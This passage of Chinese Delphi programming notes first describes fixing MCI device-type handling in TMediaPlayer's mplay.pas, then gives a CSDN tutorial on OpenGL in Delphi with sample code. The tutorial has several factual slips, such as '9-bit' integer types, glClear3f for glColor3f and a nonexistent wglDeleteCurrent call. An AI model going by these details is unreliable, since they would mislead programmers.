dtOther, dtOverlay, dtScanner, dtSequencer, dtVCR, dtVideodisc, dtWaveAudio);
在MCI的定义中有如下结构：
tagMCI_OPEN_PARMSA = record
dwCallback: DWORD;
wDeviceID: MCIDEVICEID;
lpstrDeviceType: PAnsiChar; //设备类型
lpstrElementName: PAnsiChar;
lpstrAlias: PAnsiChar;
end;
在mplay.pas中
procedure TMediaPlayer.Open;
const
DeviceName: array[TMPDeviceTypes] of PChar = ('', 'AVIVideo', 'CDAudio', 'DAT',
'DigitalVideo', 'MMMovie', 'Other', 'Overlay', 'Scanner', 'Sequencer',
'VCR', 'Videodisc', 'WaveAudio');
...设定了实际传给MCI的DeviceType值................
begin
......（mplay.pas lines 841）
OpenParm.lpstrDeviceType := DeviceName[FDeviceType]; // 你选定的设备类型
......
if FDeviceType <> dtAutoSelect then
FFlags := FFlags or mci_Open_Type;

if FDeviceType <> dtAutoSelect then //不明白为什么这里要做两次同样的判断
FFlags := FFlags or mci_Open_Type
else
FFlags := FFlags or MCI_OPEN_ELEMENT; //只有这样才能正确播放，也就是自动模式

OpenParm.dwCallback := Handle;
FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm)); //。。。。。。

参照上面的情况，我选择DeviceType=dtAVIVideo时传的值就应该是‘AVIVideo’。这也和注册表中的MCI32项中的值对应。为了验证使用lpstrDeviceType的值确实是可以用'AVIVideo'我加载了一个MCI32.OCX，这个控件是在VS6种附带的，其中的DeviceType属性和TMediaPlayer中的DeviceType属性大致相当，只不过MCI32.ocx中的值可以直接指定到设备名，我将MCI32.ocx的DeviceType设成'AVIVideo',结果可以正常播放。
为了找出原因，我将VC的MMSystem.h文件和MMSystem.pas中的参数和数据结构作比较，没有发现有什么差异，基本判断MMSystem,pas是没有问题的，那么问题一定在mplay.pas中了。于是从mplay.pas中另外生成一个控件TDeMediaPlay,跟踪下来，居然也没有发现什么问题，文件打开MCIOpened 、设备号FDeviceID、是否显示FHasVideo等标志正常，GetDeviceCaps函数无异常，唯独GetLength函数中
FError := mciSendCommand( FDeviceID, mci_Status, FFlags, Longint(@StatusParm));
Result := StatusParm.dwReturn;
的返回值不正常，而且居然也没有返回错误，在我的机器上，不管怎么设置timeformat都返回4，您的机器可能会不一样
播放器之类的软件实在是以前没写过，去网上查找关于这方面的Delphi的资料，好像都是让自动选择的也就是dtAutoSelect模式的，但恰恰我的要求是一定要指定具体驱动。
没有办法，再次打开VC，找到一个MCI的例子，仔细阅读，发现了问题，例子中有这样一段代码
mciMO.lpstrDeviceType="MpegVideo";
......
dwFlags=(DWORD)(MCI_OPEN_ELEMENT|MCI_OPEN_TYPE|);
dwResult=mciSendCommand(0,MCI_OPEN,dwFlags, (DWORD)(LPMCI_DGV_OPEN_PARMS) &mciMO);
......
问题好像有了一点头绪，VC代码中dwFlags在指定DeviceType后，并不是仅仅用到了MCI_OPEN_TYPE标志，而是连MCI_OPEN_ELEMENT标志一起带进去的。于是我有回到mplay.pas中，在上面提到的搞不懂为什么两段代码重复的语句中作了修改：
OpenParm.lpstrDeviceType := DeviceName[FDeviceType]; 你选定的设备类型
......
if FDeviceType <> dtAutoSelect then
FFlags := FFlags or mci_Open_Type;

if FDeviceType <> dtAutoSelect then
FFlags := FFlags or MCI_OPEN_ELEMENT 改在此处
else
FFlags := FFlags or MCI_OPEN_ELEMENT;

OpenParm.dwCallback := Handle;
FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm)); //。。。。。。

重新Build，安装新控件。
测试，为了验证新的控件确实是使用我指定的设备播放，而不是自动选择的设备，我按以下步骤测试
1、我将注册表中所有关于.AVI内说明使用AVIVideo设备播放的项目备份并删除，然后新控件的DeviceType设成dtAutoSelect,提示出错，不能打开MCI设备，这正是我需要的效果，系统已经不能自动识别AVI文件的播放设备了。
2、把新控件的DeviceType设置为dtAVIVideo,播放一切正常。说明新控件确实是用指定的设备播放AVI文件。

结论：
1、很奇怪mplay.pas中怎么会有这样的怪怪的语句，为什么一个条件要判断两次，而且没有实际意义，因为mci_Open_Type or mci_Open_Type结果还是mci_Open_Type。肯定是控件源码的作者有一定的考虑，在修改源码后还是觉得很奇怪，如果是源码作者的笔误，那么根本不应该对条件还判断第三次。只需要改成：
if FDeviceType <> dtAutoSelect then
FFlags := FFlags or MCI_OPEN_TYPE;
FFlags := FFlags or MCI_OPEN_ELEMENT ;
即可。
2、虽然我很赞成在大的项目中用常量代替变量，可是对于DeviceType这样的值，似乎把控制权交给用户比较合适，因为TMPDeviceTypes定义是死的，而系统是活的，像MPEGVideo、MPEGVideo2这样的设备，在TMPDeviceTypes中就没有定义，这一点，我觉得还是MCI32.ocx做的比较好，所以我改写了新的控件可以直接传入设备名，以Open一个媒体文件。
3、感谢宝蓝公司对所有控件提供源码，要是在没有源码的控件中修改，基本是不可能的。


CSDN_文档中心_DELPHI中OPENGL程序设计

OPENGL图形程序设计
OPENGL是一个三维图形和模型库，由于它在三维图形方面的杰出性能，目前许多高级语言都提供了与OPENGL的接口，如：VC、DELPHI、C++Builder等。使用OPENGL可以极大地减少用户开发图形、图像的难度，使用户制作高水准的商业广告、图形CAD、三维动画、图形仿真和影视采集。

一、OPENGL的功能
OPENGL原来是工作站上的一个图形软件库，由于它在商业、军事、医学、航天航空等领域的广泛应用，目前在低档电脑也可以开发出符合用户要求的图形。OPENGL不仅可以绘制基本图像，而且提供了大量处理图形图像的函数与过程。
1、图形变换
是图形显示与制作的基础，动画设计和动画显示都离不开图形的变换，图形变换在数学上是由矩形的乘法来实现的，变换一般包括平移、旋转和缩放。按图形的显示性质来分：视点变换、模型变换、投影变换、剪裁变换和视口变换等。
2、光照效果
不发光的物体的颜色是由物体反射外界光所形成的，这是光照。在三维图形中，如果光照使用不当，三维图形就会失去真实的立体感，OPENGL把光照分为：辐射光、环境光、散射光、反射光等。
3、纹理映射
通过纹理映射可以在三维表面添加显示现实世界中的纹理。如：一个矩形它不能表示真实世界中的物体，如果填上"本质"纹理，就逼真了。
4、图形特效
混合函数、反走样函数和雾函数，可以处理三维图形听之任之物体的透明和半透明、使用线段理加光滑以及提供雾化的效果。
5、图像特效
处理位图的基本函数：图像绘制、图像拷贝和存储、映射和转移、图像的缩放等。位图操作函数可以人绘图原的低层说明中文字符的形成过程。

二、创建OPENGL应用程序
1、一般原则
A 有uses中添加OPENGL支持单元：OpenGL；
B 在窗体的OnCreate事件过程中初始化OPENGL；
C 在窗口的OnPaing 事件过程中初始化OPENGL；
D 在窗口的OnResize事件过程中初始化OPENGL；
E 在窗口的OnDestroy 事件过程中初始化 OPENGL；
2、简单实例
A 创建一个工程FILE->New Application
B 在OnCreate事件中添加代码：
procedure TfrmMain.FormCreate(Sender: TObject);
var
pfd:TPixelFormatDescriptor; //设置描述表
PixelFormat:Integer;
begin
ControlStyle:=ControlStyle+[csOpaque];
FillChar(pfd,sizeof(pfd),0);
with pfd do
begin
nSize:=sizeof(TPixelFormatDescriptor);
nVersion:=1;
dwFlags:=PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER;
iPixelType:=PFD_TYPE_RGBA;
cColorBits:=24;
cDepthBits:=32;
iLayerType:=PFD_MAIN_PLANE;
end;
PixelFormat:=ChoosePixelFormat(Canvas.Handle,@pfd);
SetPixelFormat(Canvas.Handle,PixelFormat,@pfd);
hrc:=wglCreateContext(Canvas.Handle);
w:=ClientWidth;
h:=ClientHeight;
end;
C 在OnDestroy事件中的代码
procedure TfrmMain.FormDestroy(Sender: TObject);
begin
wglDeleteContext(hrc);
end;
D 在OnPaint事件中的代码
procedure TfrmMain.FormPaint(Sender: TObject);
begin
wglMakeCurrent(Canvas.Handle,hrc);
glClearColor(1,1,1,1);
glColor3f(1,0,0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
MyDraw;
glFlush;
SwapBuffers(Canvas.Handle);
end;
E 在OnResize事件中的代码
procedure TfrmMain.FormResize(Sender: TObject);
begin
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glFrustum(-1.0,1.0,-1.0,1.0,3.0,7.0);
glViewPort(0,0,ClientWidth,ClientHeight);
MyDraw;
end;
F 在MyDraw函数中的代码（用户在窗口类中声明）
procedure TfrmMain.MyDraw;
begin
glPushMatrix;
Sphere:=gluNewQuadric;
gluQuadricDrawStyle(Sphere,GLU_LINE);
gluSphere(Sphere,0.5,25,25);
glPopMatrix;
SwapBuffers(Canvas.handle);
gluDeleteQuadric(Sphere);
end;

附本程序原码：
unit MainFrm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OpenGL;

type
TfrmMain = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
hrc:HGLRC;
w,h:glFloat;
Sphere:GLUquadricObj;
public
{ Public declarations }
procedure MyDraw;
end;

var
frmMain: TfrmMain;

implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
var
pfd:TPixelFormatDescriptor;
PixelFormat:Integer;
begin
ControlStyle:=ControlStyle+[csOpaque];
FillChar(pfd,sizeof(pfd),0);
with pfd do
begin
nSize:=sizeof(TPixelFormatDescriptor);
nVersion:=1;
dwFlags:=PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER;
iPixelType:=PFD_TYPE_RGBA;
cColorBits:=24;
cDepthBits:=32;
iLayerType:=PFD_MAIN_PLANE;
end;
PixelFormat:=ChoosePixelFormat(Canvas.Handle,@pfd);
SetPixelFormat(Canvas.Handle,PixelFormat,@pfd);
hrc:=wglCreateContext(Canvas.Handle);
w:=ClientWidth;
h:=ClientHeight;
end;

procedure TfrmMain.FormDestroy(Sender: TObject);
begin
wglDeleteContext(hrc);
end;

procedure TfrmMain.FormPaint(Sender: TObject);
begin
wglMakeCurrent(Canvas.Handle,hrc);
glClearColor(1,1,1,1);
glColor3f(1,0,0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
MyDraw;
glFlush;
SwapBuffers(Canvas.Handle);
end;

procedure TfrmMain.MyDraw;
begin
glPushMatrix;
Sphere:=gluNewQuadric;
gluQuadricDrawStyle(Sphere,GLU_LINE);
gluSphere(Sphere,0.5,25,25);
glPopMatrix;
SwapBuffers(Canvas.handle);
gluDeleteQuadric(Sphere);
end;

procedure TfrmMain.FormResize(Sender: TObject);
begin
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glFrustum(-1.0,1.0,-1.0,1.0,3.0,7.0);
glViewPort(0,0,ClientWidth,ClientHeight);
MyDraw;
end;

end.

三、OPENGL变量和函数的约定
1、OPENGL的库约定
它共三个库：基本库、实用库、辅助库。在DELPHI中，基本库由OpenGL单元实现，在Windows环境中，一般不使用辅助库。
2、OPENGL常数约定
OPENGL常数均使用大写字母，以"GL"开头，词汇之间使用下划线分隔，如：GL_LINES，表示使用基本库绘制直线。
3、OPENGL函数的命名约定
A 第一部分以gl或wgl开头，如glColor3f中的gl。
B 第二部分是用英文表示的函数功能，单词的首字母大写出。
C 第三部分是数字，表示函数的参数。
D 第四部分是小写字母，表示函数的类型。
b 9位整数
s 16位整数
i 32位整数
f 32位浮点数
d 64位浮点数
ub 9位无符号整数
例：glVertex2f(37,40); {两个32位的浮点数作参数}
glVertex3d(37,40,5); {三个64位的浮点数作参数}
p[1..3]:array of glFloat;
glVertes3fv(p); {3f表示三个浮点数，v表示调用一个数组作为顶点坐标输入}

四、OPENGL的初始化
1、PIXELFORMATDESCRIPTOR结构
主要描述像素点的性质，如像素的颜色模式和红、绿、蓝颜色构成方式等。
tagPIXELFORMATDESCRIPTOR = packed record
nSize: Word;
nVersion: Word;
dwFlags: DWORD;
iPixelType: Byte;
cColorBits: Byte;
cRedBits: Byte;
cRedShift: Byte;
cGreenBits: Byte;
cGreenShift: Byte;
cBlueBits: Byte;
cBlueShift: Byte;
cAlphaBits: Byte;
cAlphaShift: Byte;
cAccumBits: Byte;
cAccumRedBits: Byte;
cAccumGreenBits: Byte;
cAccumBlueBits: Byte;
cAccumAlphaBits: Byte;
cDepthBits: Byte;
cStencilBits: Byte;
cAuxBuffers: Byte;
iLayerType: Byte;
bReserved: Byte;
dwLayerMask: DWORD;
dwVisibleMask: DWORD;
dwDamageMask: DWORD;
end;
TPixelFormatDescriptor = tagPIXELFORMATDESCRIPTOR;
dwFlags代表点格式的属性：
PFD_DRAW_TO_WINDOW 图形绘在屏幕或设备表面
PFD_DRAW_TO_BITMAP 在内存中绘制位图
PFD_SUPPORT_GDI 支持GDI绘图
PFD_SUPPORT_OPENGL 支持OPENGL函数
PFD_DOUBLEBUFFER 使用双缓存
PFD_STEREO 立体缓存
PFD_NEED_PALLETTE 使用RGBA调色板
PFD_GENERIC_FORMAT 选择GDI支持的格式绘图
PFD_NEED_SYSTEM_PALETTE 使用OPENGL支持的硬件调色板
iPixelType设置像素颜色模式：PFD_TYPE_RGBA或PFD_TYPE_INDEX.。
cColorBits设置颜色的位，如是9表示有256种颜色表示点的颜色。
cRedBits、cGreenBits、cBlueBits 使用RGBA时，三原色所使用的位数。
cRedShitfs、cGreenShifts、cBlueShifts 使用RGBA时，三原色可以调节的位数。
cAlphaBits、cAlphaShifts 使用RGBA时，Alpha使用的位数与可调节的位数。
cAccumBits设置累积缓存区的位面总数。
cAccumRedBits、cAccumGreenBits、cAccumBlueBits设置累积缓存区的三原色位面总数。
cAccumAlphaBits设置累积缓存区的Alpha位面总数。
cDepthBits设置浓度缓存的深度。
cStencilBits设置Stencil缓存的深度。
cAuxBuffers指辅助缓存的大小。
iLayerType指定层的类型。
bReserved不使用，必须是零。
dwLayerMask指定覆盖层的屏蔽。
dwDamageMask设置在相同的框架缓存下是否共用同一种像素模式。
2、OPENGL的初始化步骤
A 使用Canvas.Handle获得窗口句柄。
B 创建一个TPixelFormatDescriptor变量定义像素格式。
C 使用ChoosePixelFormat函数选择像素格式。
D 使用SetPixelFormat函数使用像素格式生效。
E 使用wglCreateContext函数建立翻译描述表。
F 使用wglMakeCurrent函数把建立的翻译描述表作为当前翻译描述表。
3、资源释放
A 使用wglDeleteContext过程删除像素描述表。
B 使用ReleaseDC过程释放窗口内存。
在窗口的OnDestroy事件中：
begin
if hrc<>null then
wglDeleteCurrent(hrc);
if hdc<>null then
ReleaseDC(Handle,hdc);
end;

五、OPENGL基本图形的绘制
1、图形的颜色
注意底色的设置，颜色设置通常与像素描述变量有关，即与TPixelFormatDescriptor定义中的iPixelType成员有关。
iPixelType:=PFD_TYPE_COLORINDEX;
则只能使用glIndexd,glIndexf,glIndexi,glIndexs,glIndexv,glIndexfv,glIndexiv,glIndexsv过程设置图形颜色。
iPixelType:=PFD_TYPE_RGBA；
则只能使用 glColor3b,glColor3f,glColor4b,glColor4f,glColor4fv设置图形颜色。
A 图形底色：屏幕与窗口的颜色，即颜色缓冲区的颜色。改变图形底色首先应使用glClearColor过程设定底色，然后使用glClear过程以这种底色刷新窗口和屏幕。
procedure glClearColor(red:GLClampf,green:GLClampf,blue:GLClampf,alpha:GLClampf);
procedure glClear(mask:GLBitField);
red,green,blue,alpha是准备设置的底色，它们的取值是0到1。mask是刷新底色的方式。
例：将绘声绘色图窗口设置为绿色
glClearColor(0,1,0,1);
glClear(GL_COLOR_BUFFER_BIT);
mask的取值和意义：
GL_COLOR_BUFFER_BIT 设置当前的颜色缓冲
GL_DEPTH_BUFFER_BIT 设置当前的深度缓冲
GL_ACCUM_BUFFER_BIT 设置当前的积累缓冲
GL_STENCIL_BUFFER_BIT 设置当前的STENCIL（模板）缓冲
绘图窗口设置为灰色
glClearColor(0.3,0.3,0.3,1);
glClear(GL_COLOR_BUFFER_BIT);
B 图形颜色
使用glClear3f与glClear4f可以设置图形的绘制颜色。若用三个参数，则分别指设置红、蓝、绿三色光。若用四个参数，则第四个表示RGBA值。
例设置当前的绘图颜色为蓝色：
glColor3f(0,0,1);
设置绘图颜色为白色：
glColor3f(1,1,1);
2、简单图形的绘制
在glBegin与glEnd过程之间绘制简单图形，如点、线、多边形等。
glBegin(mode:GLenum);{绘制过程}glEnd;
mode的取值：
GL_POINTS 画多个点
GL_LINES 画多条线,每两点绘制一条直线
GL_LINE_STRIP 绘制折线
GL_LINE_LOOP 绘制首尾相接的封闭多边形
GL_TRIANGLES 绘制三角形
GL_TRIANGLE_STRIP 绘制三边形,每三个点绘制绘制一个三边形
GL_TRIANGLE_FAN 绘制三角形
GL_QUADS 绘制四边形
GL_QUAD_STRIP 绘制四边条,每四点绘制一个四边条
GL_POLYGON 绘制多边形
例绘制三个点:
begin
glPushMatrix;
glBegin(GL_POINT);
glVertex2f(0.1,0.1);
glVertex2f(0.5,0.5);
glVertex2f(0.1,0.3);
glEnd;
SwapBuffers(Canvas.Handle);
end;
如果将GL_POINT改为GL_LINES,则将画一条线.第三个点无效.在glVertex2f之前执行glColor3f(0,0,1)则将线条的颜色改为绿色. 如果将GL_LINES改为GL_LINE_STRIP则可以绘制两条直线.
使用glPointSize过程可以设置点的大小;使用glLineWidth过程可以设置线的宽度.
使用glLineStipple过程设置点划线的样板,使用glEnable(GL_LINE_STIPPLE)过程和对应参数使绘图能够绘制点划线.glDisable(GL_LINE_STIPPLE)过程和对应参数关闭点划线.
procedure glLineStipple(factor:GLint,pattern:GLushort);
参数factor表示点划线样板Pattern的重复次数,factor取值1255,Pattern是二进制序列.
glLineStipple(1,0,0x11C);{0x11C表示为10001110,0表示不画点,1表示画点}
例: begin
glColor3f(1,0,0);
glLineWidth(2);
glLineStipple(1,$11C);
glEnable(GL_LINE_STIPPLE);
glBegin(GL_LINES);
glVertex2f(-0.9,0.3);
glVertex2f(0.9,0.3);
glEnd;
glDisable(GL_LINE_STIPPLE);
glColor3f(1,0,1);
glLineStipple(2,$11C);
glEnable(GL_LINE_STIPPLE);
glBegin(GL_LINES);
glVertex2f(-0.9,0.1);
glVertex2f(0.9,0.1);
glEnd;
glDisable(GL_LINE_STIPPLE);
SwapBuffers(Canvas.Handle);
end;
多边形绘制与点线相似,要改变参数为GL_POLYGON,GL_QUADS,GL_TRANGLES.在绘制时的注意事项:
A 多边形的边与边只在顶点相交
B 多边形必须是凸多边形,如果是凹多边形,用户只有折成凸多边形,加快绘制速度.
例: glBegin(GL_POLYGON);
glVertex2f(-0.9,0.3);
glVertex2f(0.9,0.3);
glVertex2f(0.9,-0.6);
glVertex2f(0.5,-0.6);
glVertex2f(-0.9,-0.2);
glEnd;
多边形有正面与反面,与之相关的过程:
glPolygonMode 控制多边形正,反面绘图模式
glFrontface 指定多边形的正面
glCullFace 显示多边形是设置消除面
glPolygonStripple 形成多边形填充的样式
3、简单二次曲面
圆柱,圆环和球都属于二次曲面.
A 圆柱
gluCylinder(qobj:GLUquadricObj,baseRadius:GLdouble,topRadius:GLdouble,height:GLdouble,
slices:GLint,stacks:GLint);
qobj指定一个二次曲面,baseRadius为圆柱的底半径;topRadius为所绘制圆柱的上顶面半径;height为圆柱的高;slices为绕Z轴的分割线数;stacks为沿Z轴的分割线数.
如果baseRadius和topRadius不相等,则可以绘制锥台与圆锥.
procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
gluCylinder(qObj,0.5,0.1,0.2,10,10);
end;
B 圆环
gluDisk(qobj:GLUquadricObj,innerRadius:GLdouble,outerRadius:GLdouble,slices:GLint,
loops:GLint);
procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
gluDisk(qObj,0.2,0.5,10,5);
SwapBuffers(Canvas.Handle);
end;
C 半圆环
gluPartialDisk(qobj:GLUquadricObj,innerRadius:GLdouble,outerRadius:GLdouble,slices:GLint,
loops:GLint,startAngle:GLdouble,sweepAngle:GLdouble);
startAngle,sweepAngle是半圆环的起始角与终止角.
procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
gluPartialDisk(qObj,0.2,0.5,10,5,90,190);
SwapBuffers(Canvas.Handle);
end;
D 球体
function gluSphere(qObj:GLUquadricObj,radius:GLdouble,slices:GLint,stacks:GLint);
procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
{ silhouette[ silu(:)5et ]n.侧面影象, 轮廓}
gluSphere(qObj,0.5,20,20);
SwapBuffers(Canvas.Handle);
end;
E 关于二次曲面的过程
gluNewQuadric 创建一个新的二次曲面对象
gluDeleteQuadric 删除一个二次曲面对象
gluQuadricDrawStyle 指定要绘制的二次曲面类型
gluQuadricNormal 设置二次曲面的法矢量
gluQuadricOrientation 设置二次曲面是内旋还是外旋转
gluQuadricTexture 设置二次曲面是否使用纹理
F 绘制二次曲面的一般步骤
首先定义一个GLUquadricObj对象;
其次创建一个曲面对象gluNewQuadric;
再次设置二次曲面的特性(gluQuadricDrawStyle, gluQuadricTexture)
绘制二次曲面(gluCylinder,gluSphere,gluDisk, gluPartialDisk)

六、OPENGL中的变换
变换是动画设计的基础，包括图形的平移，旋转，缩放等操作，在数学上是通过矩阵来实现的。
1 glLoadIdentity过程
能够把当前矩阵变为单位矩阵。
2 glLoadMatrix过程
能够把指定的矩阵设为当前矩阵。
procedure glLoadmatrixd(m:GLdouble);
procedure glLoadmatrixf(m:GLfloat);
m表示4X4矩阵，下面的代码定义并使之成为当前矩阵
M:array[1..4,1..4] of GLfloat;
glLoadMatrix(@M);
3 glMultMatrix过程
能够将当前矩与指定矩阵相乘,并把结果作为当前矩.
procedure glMultMatrixd(M:GLdouble);
procedure glMultMatrixf(M:GLfloat);
4 glPushMatrix和glPopmatrix
glPushMatrix能够把当前矩压入矩阵堆栈, glPopMatrix能够把当前矩弹出矩阵堆栈.
glPushMatrix能够记忆矩阵当前位置,glPopmatrix能够返回以前所在的位置.
注:glPushMatrix与glPopMatrix必须放在glBegin与glEnd之外.
5 投影变换
A glOrtho能够创建一个正投影矩阵,把当前矩乘以该正投影矩阵,其结果作为当前矩阵.
function glOrtho(left:GLdouble,right:GLdouble,bottom:GLdouble,top:GLdouble,
near:GLdouble,far:GLdouble);
procedure TfrmMain.FormResize(Sender: TObject);
var
nRange:GLfloat;
begin
nRange:=50.0;
w:=clientWidth;
h:=clientHeight;
if h=0 then
h:=1;
glViewPort(0,0,w,h);
if w<=h then
glOrtho(-nRange,nRange,-nRange*h/w,nRange*h/w,
-nRange,nRange)
else
glOrtho(-nRange*h/w,nRange*h/w,-nRange,nRange,
-nRange,nRange);
repaint;
end;
B glOrtho2D只定义正投影视景体前,后,左,右.
procedure glOrtho(left:GLdouble,right:GLdouble,bottom:GLdouble,top:GLdouble);
C glMatrixMode过程
能够设置当前操作矩阵的类型
procedure glMatrixMode(mode:GLenum);
mode的取值:
GL_MODELVIEW 指定以后的矩阵操作为模型矩阵堆栈
GL_PROJECTION 指定以后的矩阵操作为投影矩阵堆栈
GL_TEXTURE 指定以后的矩阵操作为纹理矩阵堆栈
D glFrustum过程
创建一个透视斜投影矩阵,并把当前矩阵乘以该斜投影矩阵,其结果为当前矩阵.
procedure glFrustum(left:GLdouble,right:GLdouble,bottom:GLdouble,top:GLdouble,
next:GLdouble,far:GLdouble);
这些参数定义了斜投影的左,右,上,下,前,后剪裁面.
E gluPerspective过程
能够定义一个以Z轴为中线的四棱台视景体.
procedure gluPerspetive(fovy:GLdouble,aspect:GLdouble,zNear:GLdouble,zFar:GLdouble);
fovy定义了xoz平面的视角,aspect定义了x和y方向上的比例,zNear和zFar分别定义了视点到剪裁面和后剪裁面的距离.
procedure TfrmMain.FormResize(Sender: TObject);
var
aspect:GLfloat;
begin
w:=ClientWidth;
h:=ClientHeight;
if h=0 then
h:=1;
glViewPort(0,0,clientWidth,Clientheight);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
aspect:=w/h;
gluPerspective(30.0,aspect,1.0,50.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity;
end;
6 几何变换矩阵
三维物体的运动姿态变换,是指物体的平移,旋转,缩放.
A glTranslate过程能够把坐标原点移到(x,y,z),它的声明语法:
procedure glTranslated(x:GLdouble,y:GLdouble,z:GLdouble);
procedure glTranslatef(x:GLdouble,y:GLdouble,z:GLdouble);
B glRotate能够使物体旋转一定的角度,它的声明语法:
procedure glRotated(angle:GLdobule,x:GLdouble,y:GLdouble,z:GLdouble);
procedure glRotatef(angle:GLdobule,x:GLdouble,y:GLdouble,z:GLdouble);
其中angle为旋转角,旋转的中心轴是由(0,0,0)与(x,y,z)两点的连线.
C glScale能够对坐标系进行缩放,它的声明语法为:
procedure glScaled(x:GLdouble,y:GLdoble,z:GLdouble);
procedure glScalef(x:GLdouble,y:GLdoble,z:GLdouble);
x,y,z的值大于1表示放大,小于1表示缩小.

例子原代码:
unit MainFrm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OpenGL, ExtCtrls;

type
TfrmMain = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormResize(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
hrc:HGLRC;
w,h:Integer;
latitude,longitude:GLfloat;
radius:GLdouble;
public
{ Public declarations }
procedure MyDraw;
procedure InitializeGL(var width:GLsizei;height:GLsizei);
end;

var
frmMain: TfrmMain;

implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
var
pfd:TPixelFormatDescriptor;
PixelFormat:Integer;
begin
ControlStyle:=ControlStyle+[csOpaque];
FillChar(pfd,sizeof(pfd),0);
with pfd do
begin
nSize:=sizeof(TPixelFormatDescriptor);
nVersion:=1;
dwFlags:=PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER;
iPixelType:=PFD_TYPE_RGBA;
cColorBits:=24;
cDepthBits:=32;
iLayerType:=PFD_MAIN_PLANE;
end;
PixelFormat:=ChoosePixelFormat(Canvas.Handle,@pfd);
SetPixelFormat(Canvas.Handle,PixelFormat,@pfd);
hrc:=wglCreateContext(Canvas.Handle);
w:=ClientRect.Right;
h:=ClientRect.Bottom;
InitializeGL(w,h);
end;

procedure TfrmMain.FormDestroy(Sender: TObject);
begin
wglDeleteContext(hrc);
end;

procedure TfrmMain.FormPaint(Sender: TObject);
begin
wglMakeCurrent(Canvas.Handle,hrc);
glClearColor(1,1,1,1);
glColor3f(1,0,0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
MyDraw;
glFlush;
end;

procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
glRotated(0.5,0.0,1.0,0.0);
glRotated(-latitude,1.0,0.0,0.0);
glrotated(longitude,0.0,0.0,1.0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
gluSphere(qObj,0.5,20,20);
SwapBuffers(Canvas.Handle);
end;

{procedure TfrmMain.FormResize(Sender: TObject);
var
nRange:GLfloat;
begin
nRange:=50.0;
w:=clientWidth;
h:=clientHeight;
if h=0 then
h:=1;
glViewPort(0,0,w,h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
if w<=h then
glOrtho(-nRange,nRange,-nRange*h/w,nRange*h/w,
-nRange,nRange)
else
glOrtho(-nRange*h/w,nRange*h/w,-nRange,nRange,
-nRange,nRange);
glMatrixMode(GL_MODELVIEW);
glLoadidentity;
repaint;
end;
}
procedure TfrmMain.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key=VK_ESCAPE then
Close;
if Key=VK_UP then
glRotatef(-5,1.0,0.0,0.0);
if Key=VK_DOWN then
glRotatef(5,1.0,0.0,0.0);
if Key=VK_LEFT then
glRotatef(-5,0.0,1.0,0.0);
if Key=VK_RIGHT then
glRotatef(5.0,0.0,1.0,0.0);
repaint;
end;

procedure TfrmMain.FormResize(Sender: TObject);
begin
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glFrustum(-1.0,1.0,-1.0,1.0,3.0,7.0);
glViewPort(0,0,clientWidth,clientHeight);
repaint;
invalidate;
end;

procedure TfrmMain.InitializeGL(var width: GLsizei; height: GLsizei);
var
maxObjectSize,aspect:GLfloat;
near_plane:GLdouble;
begin
glClearindex(0);
glClearDepth(1.0);
glEnable(GL_DEPTH_TEST);
glMatrixMode(GL_PROJECTION);
aspect:=1.0;
gluPerspective(45.0,aspect,3.0,7.0);
glmatrixMode(GL_MODELVIEW);
near_plane:=0.3;
maxObjectSize:=0.3;
radius:=near_plane+maxObjectSize/2.0;
latitude:=0.3;
longitude:=0.6;
end;

